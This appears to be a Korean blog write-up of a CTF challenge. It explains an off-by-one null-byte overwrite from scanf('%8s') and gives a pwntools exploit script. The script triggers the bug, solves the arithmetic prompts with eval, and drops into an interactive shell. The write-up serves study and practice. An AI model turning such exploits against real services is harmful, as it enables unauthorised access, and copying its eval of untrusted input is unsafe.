1. 개요
off by one 문제
2. 분석
chall 변수가 0이되면 반복문이 종료됩니다.
scanf에서 8바이트가 입력되면, 바이트 뒤에 null 바이트가 추가됩니다.
scanf("%8s", buf);
null 바이트가 추가되면, chall 변수가 0x00000000 이 되고 1 감소하면, -1이되서, if (chall == 0) 조건에 안걸리게되어서 반목분이 지속됩니다.
from pwn import *
# 1. connect
p = remote("localhost", 9002)
context.log_level = 'debug'
e = ELF("../src/chall")
"""
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
"""
# 2. read challenge
def read_challenge():
p.recvuntil("+---------------------------------------+")
p.recvuntil("+---------------------------------------+")
challenge = p.recvuntil("=").decode('utf-8').strip().replace(" =", "")
return challenge
# 3. overflow
def overwrite_remaning_by_bof():
read_challenge()
payload = b'a' * 8
p.sendline(payload)
# 4. solve challenge
def solve_challenge():
for i in range(3):
challenge = read_challenge()
result = eval(challenge)
p.sendline(str(result))
# 5. shell interactive
def shell_interactive():
p.interactive()
if __name__ == "__main__":
overwrite_remaning_by_bof()
solve_challenge()
shell_interactive()
'CTF' 카테고리의 다른 글
[TFCTF 2023] flip-out (0) | 2023.06.04 |
---|---|
[seccon beginners ctf 2020] mask (1) | 2023.06.04 |
[tjCTF 2023] beep-boop-robot (0) | 2023.05.29 |
[SECCON - Beginners_CTF_2021] magic (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] json (0) | 2023.05.28 |